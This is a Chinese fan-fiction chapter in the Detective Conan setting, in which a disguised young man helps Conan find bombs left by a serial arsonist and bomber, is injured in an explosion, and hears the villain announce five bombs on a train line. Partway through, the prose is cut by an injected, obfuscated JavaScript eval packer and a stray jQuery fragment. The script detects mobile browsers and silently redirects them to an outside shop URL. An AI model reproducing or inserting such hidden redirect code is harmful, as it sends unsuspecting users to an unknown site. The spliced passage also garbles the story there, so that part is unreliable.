.
车载广播里正播报着新闻,白州趴在方向盘上,放空着大脑融化在初夏午后。
“前天,东洋火药的火药库中,大量含有奥克托今的炸药被盗。警视厅已经出动上百名警员进行调查,但是目前依然没有任何线索。”
真是多灾多难的东京啊,五一黄金周里完全不得闲。白州略一怜悯了搜查一科的伊达航,在被绝对光环笼罩下的东京,还真是辛苦了。
不过,爆处组二位也没办法休闲吧。
阿门。
凌晨三点从鸟取县回到东京某人十分道德地为不得不忙碌的警察先生们表达了深切的同情与由衷的尊敬。
“下面播报下一条新闻:昨日深夜,山手区叶井户町黑川先生的宅邸发生火灾,附近数栋住宅惨遭波及。另外,由于此次案件和最近频繁发生的一系列纵火案手法相似,警方认为同一人作案的可能性很高。”
连环纵火案通常处于失败者的报复和宣泄、寻求刺激与获得权力掌控感或强迫症与宗教妄想。当然,单纯的纵火案也可能与骗保等相关。
这种不明人物一般在15-27岁之间,通常为男性。普遍缺乏社交能力,性格内向寡言,在人群中感到不自在,难以建立正常的人际关系。他们的教育水平往往较低,学业或职业成就受阻;多从事不被人重视的职业,甚至处于失业状态。为了实施隐蔽的入侵他们往往瘦削甚至可能身形矮小。
但是,如果不明人物是受刺激的强迫症或精神障碍,那么对方的学历水平反而可能很高甚至是某一领域的专家。他们很自信,然而在近期遭受了重大挫折无法继续实现自己的理想抱负。为了负责,他们不得不毁灭曾经的不完美作品。
连环纵火具有类似“成瘾”的特征,随着时间推移,作案频率会加快,火势和破坏力会逐渐升级。而目前,显然已经逐步升级,他的自信心在膨胀,同时意味着他可能不再小心谨慎甚至可能主动参与查案……
“工藤新一在吗?”关键词触发,青年自制的窃听系统将电话转入耳机。
“稍等一下。”这是阿笠博士的声音。
“喂?”销声匿迹的高中生侦探啊。
“工藤新一吗?”变声器造成的失真无法辨认来电者。
“是的。”
“看到新闻了吗?从东洋火药库偷走炸药的人是我。”
又是一个送上门挑衅侦探的犯人。白州摇头叹息,想起什么似的从副驾驶拿出易容装备。
“什么!”年轻的侦探仍不够沉着。
“把你的手机号码告诉我。”对方暗自得意,他把握了对话主权。
“我没有义务把号码给你这种人。”少年争夺起主权。
“是吗?”犯人更自信了,“你确定要这么断掉唯一可能跟我联系的方式吗?”
正义者的软肋往往光明正大,“我知道了,号码是……”
“好,现在马上带上手机到堤向津川的绿地公园来。给你看点有趣的东西。”
崭新的易容覆盖住面貌,摘下黑色的美瞳,套上金色假发,平野悠真上线。男人在后视镜上欣赏了一下自己完美的手艺,随即,一脚油门,引擎轰鸣。
“绿地公园?”工藤新一疑问着重复。
不明人物似好心又恶意地继续提示道,“动作慢的话,那几个小孩可就要去见阎王了。”
“什么!”然而获得完全主权的犯人不打算继续透题,他站在高处俯视。
这里会开出一朵盛大的新生之花,男人眼里露出期待与狂热交杂。
绿叶森森排列在银灰的街道上,闪耀波光川上水漂浮了刮下的龙鳞。一辆深灰色的跑车划过街道,一名小学生踩着滑板冲向俯视之地。
.
“你好,”一个金发的大哥哥走到了光彦面前,“可以拜托你把这个遥控器交给我吗?”
“欸?”三个小少年发出不解的疑惑。
“那个大叔交给你们的时候忘记告诉你们一件很重要的事情了。”青年语气缓和地开口,“其实,那上面有新闻里被报道的被盗窃的炸药。”他指了指上空飞舞着的飞机。
三小只吓得大叫一声,“炸,炸弹!”四周的群众一下子骚动起来纷纷后撤,几个热心市民甚至已经拿出手机准备报警。
“可是,”元太并不信邪,“你怎么知道的?不会是想和我们抢这个飞机吧!”
“元太!”步美有些不满地止住少年话语。
“好吧,那个大叔确实说过它是轰炸机,”光彦迟疑了一下还是把遥控器给了青年,“不过……”
恰好此时,一个小西装少年抱着滑板神色紧张地冲了过来,“光彦,你那个遥控飞机是谁给你们的!”
恰好,平野趁着少年转神,巧妙地将遥控器拿下。站起身来,一头灿烂的金发在柯南眼里散发出邪恶的刺目。
“不许动,我已经报警了!”然而青年只是充耳不闻,专心操纵着遥控让“轰炸机”升入河面的高空。
转瞬间,巨大的轰鸣声和气浪轰然炸开。
橙色的闪光,柯南看得真切,那是□□的特征。那个不明人物说的没错,他就是那个盗取火药者。
“怎么了!”“什么东西爆炸了?”“那个遥控飞机爆炸了!”“真的有炸弹!”嘈杂的碎语挤在四周,人群无措又恐慌。
正此刻,柯南兜里的手机电话铃声响起。
小少年露出严肃的神色接通电话,“你到底想怎么样?”
“工藤去哪了?”
遭了!
对方没有停顿太久,而是自圆其说,“是吗,他的意思是你这样的小鬼和那个金毛就足以应付我了是吗?”
「你这样的小鬼」,柯南突然意识到不明人物就在附近监视着附近的一切。
然而对方并没有更多意见,或者说安排已经无法更改,“好了,听好:一点整还有一个炸弹会爆炸,地点是米花车站前面的广场。工藤不来的话,你就去把它找出来吧。”
柯南看了眼手表,目前距离一点整并没有多少时间。
“等等,”少年故作天真,“我还是个小孩子,只是这样的话不知道啊?给我一点提示吧。”
三小只看着少年夹着嗓子扭捏作态露出一丝扭曲忍耐的尴尬,像是从草莓蛋糕里面吃到了红色蜡烛伪装的草莓酱。
对方没有挂断也没有即刻回应,少年忍不住催促,“喂喂。”
“在树下面,”不明人物继续补充,“但并不是埋在树下面,不快点去的话可能会被人拿走哦。”
话落,电话被挂断,只剩下一阵忙音。
“是树荫座椅底下的箱笼或纸袋。”平野直接一把捞起柯南,“坐我的车更快。”
只剩下十几分钟,来不及过多解释,那道深灰色闪电再一次划过东京街道。
停在人潮往来的车站前,柯南率先跳下车。是了,便携性,如金发青年说的箱笼和纸袋,会被人带走的。恰好,少年正环顾着,看见一个粉色弃养猫箱在木质长椅下。
少年小心将箱子拿出,打开,一只白色小猫走了出来。而更深处,鲜红色的倒计时背后是伤人的烟火。
还有四分钟,来不及了!
“附近有没有空旷的地点?”直接在路边停车的青年快步跑过来,把少年和猫箱一起拎起来,“只能直接引爆了,必须拜托你指路了,小弟弟。”
平野悠真驾驶证,危。
“往前走,左拐,向右前方行驶!”柯南坐在副驾驶上,抱着箱子,大脑飞速运转。
“糟糕,堵车了!”少年正要拉开车门往下跳,然而青年反应更快,他直接抱着箱子踩上少年的滑板弃车。
高速公路后有一片空地,平野已经看见了。
巨大的气浪激起浪花,也掀翻了青年。
“喂!你没事吧?”匆匆追到现场的少年晃了晃站在路面上神色呆滞的青年,“你听得见吗?”
少年的声音像是从十万层纱布外传入,带着嘶哑的沉闷。嗡鸣,天旋地转,梵高的星空涂抹在现实中,金鱼躁动的咀嚼声啮咬在耳畔。似乎有人群围了过来。
不……不要靠近我……平野忍住恶心,无数的气压堵塞在胸腔。
“救护车!”
.
整洁的病房,被一群人推上救护车时青年还有些呆愣。经过一系列检测,所幸只有轻微脑震荡,鼓膜一切完好,爆炸造成的耳鸣在一周内会自行恢复。
棕色西装套的目暮警官带着新人白鸟来到了病房。孩子的朋友和家长也一起挤进来。
“柯南,这到底是怎么回事!”毛利小五郎无法止住恐慌与愤怒,“你最好给我解释清楚!”阿笠博士赶忙拦住对方,“好了,好了……”
柯南垂着脑袋坐在病床前,似思索又似乎有些愧疚。
“大哥哥,你没事吧?”步美轻声地说。
平野听不清少女的话语,只是读着唇形,“没关系哦,你们在医院等一会好吗,让目暮警官联系家长来接你们回家。”
“不用拉,我们可以自己回家的。”两个小少年倒是大大方方地回答。
“不可以哦,”平野笑笑。
医生很快带着所有检查报告走进了病房,“你的脑电
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17612011|205524||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
波检测没有异常,没什么大碍,明天就可以出院了。”
“既然没什么事,”目暮警官开口,“你还有柯南,就和我们说一下案件的经历吧。”
两个明面上素昧相识的一大一小对视,同时点了头,“当然。”
柯南主动担任了讲解主力,平野在一旁描补顺便造谣。比如,现在他已经成为了工藤新一认识的德国侦探了。工藤新一本人虽然想反驳却又不敢反驳。
“原来如此,所以你是为了不让爆炸波及无辜才弃车路中的吗。”目暮摸着下巴思考。
“啊,警部先生,”柯南突然想起来般出声,“犯人会打电话到新一哥哥的手机上,可是在医院不能使用手机吧。”
“这点你不用担心,”目暮警官笑着回答,“这边的病房是独立的,并没有什么电子医疗器械,所以在这里可以使用手机。”
“阿笠博士在安排病房时特意交代了的。”
“那新一呢?有人因为他受伤了,那个男人要找的是新一吧。”
“啊…”阿笠博士尴尬地找补,“因为新一他还有别的事嘛……”
然而病床上坐着的金发青年却是主动示意毛利小五郎靠近,悄然说了声:“Need not to know.”
瞬间,毛利小五郎变成被卡住脖子的麻雀,想起被保密协议支配的一天和公安可恶的模样。他怀疑地上下扫视着青年,对方露出无所谓的笑容,这个态度有异曲同工之妙,但样子完全不可能是个公安啊。
柯南和阿笠博士虽然好奇青年说了什么治住了毛利小五郎,眼下也不是发问的好时机。
“这个混蛋,下次见面我决不饶他。”毛利小五郎愤愤不平却不再追问。
“警部先生,你们有查出炸弹的种类吗?”
“嗯,”在一众侦探的注目下,目暮警官非常顺溜地直接回答,“已经查出来了,遥控飞机上和航空箱里使用的都是□□。”
“这恐怕就是从东洋火药库里,被盗走的火药吧。”
白鸟在一旁补充,“遥控飞机上的炸弹是装有□□的冲击型炸弹,航空箱里的炸弹则是连接了定时器的定时炸弹。”
“但是我比较奇怪,”毛利小五郎发出疑问,“那个计时器在一点整前十六秒时暂停了一次。”
“啊,关于这点,”目暮解释道,“一种可能是计时器发生故障,另一种可能就是犯人处于某种理由远程操作将它停下来的。”
“从犯人特意打电话给工藤老弟这件事情来看,他可能是想要挑战高中生名侦探工藤新一的声望或者是和新一有私人恩怨吧。”
平野坐在床上,看着说话走来走去的几个人无聊发起呆,他现在很难听得清什么东西。但是他已经想起来凶手了,那不是几天前从组织买了东洋火药库安防资料的森谷帝二嘛。并且他记得似乎还有一次发生在电车上的爆炸和工藤新一与毛利兰约定的电影院的大爆炸。
无法剪断的红线。
哎,也不知道这么多年,拆弹的手艺有没有生疏了。
那边围绕工藤新一破案得罪的人还有小朋友们看见的嫌疑人画像展开了“激烈”讨论。
西多摩市规划。啊,就是这个,这件事刺激到了森谷帝二。因为强迫症把自己名字都改掉了的著名建筑师,之前的纵火案和现在的爆炸案,都是他干的吧。
毕竟那些建筑都是森谷帝二的作品。
不知神游多久,属于工藤新一的手机响铃了。是犯人来电。
“喂喂。”少年接通了电话。
“真亏你们能找到炸弹啊,值得表扬。”
经典的上位者发言。
“接下来,属于小孩子的时间结束。”毛利小五郎接过手机放在病床被褥上,进行外放,“没错,接下来是大人的时间了。”
“你是谁?工藤呢?”他有些意外或者说不满。
“工藤他不在,”男人突然逼近手机,莫名其妙燃起来了,“我来做你的对手!我是名侦探毛利小五郎。”
“哈哈,”明白并非无关人员,犯人笑了,“也好。”
“你可要听清了,我只说一次。我在东都环行线上装了五个炸弹。”
“五个。”
“炸弹。”
这样的数量令在场诸位都忍不住震惊。
“那些炸弹,下午四点以后,如果列车时速低于六十公里炸弹就会爆炸,还有,日落之前没有将其拆除的话也会爆炸。给你们一个提示吧,炸弹的位置是东都环行线的「xx之x」,每个「x」代表一个汉字。”
“那么,加油吧,名侦探毛利。”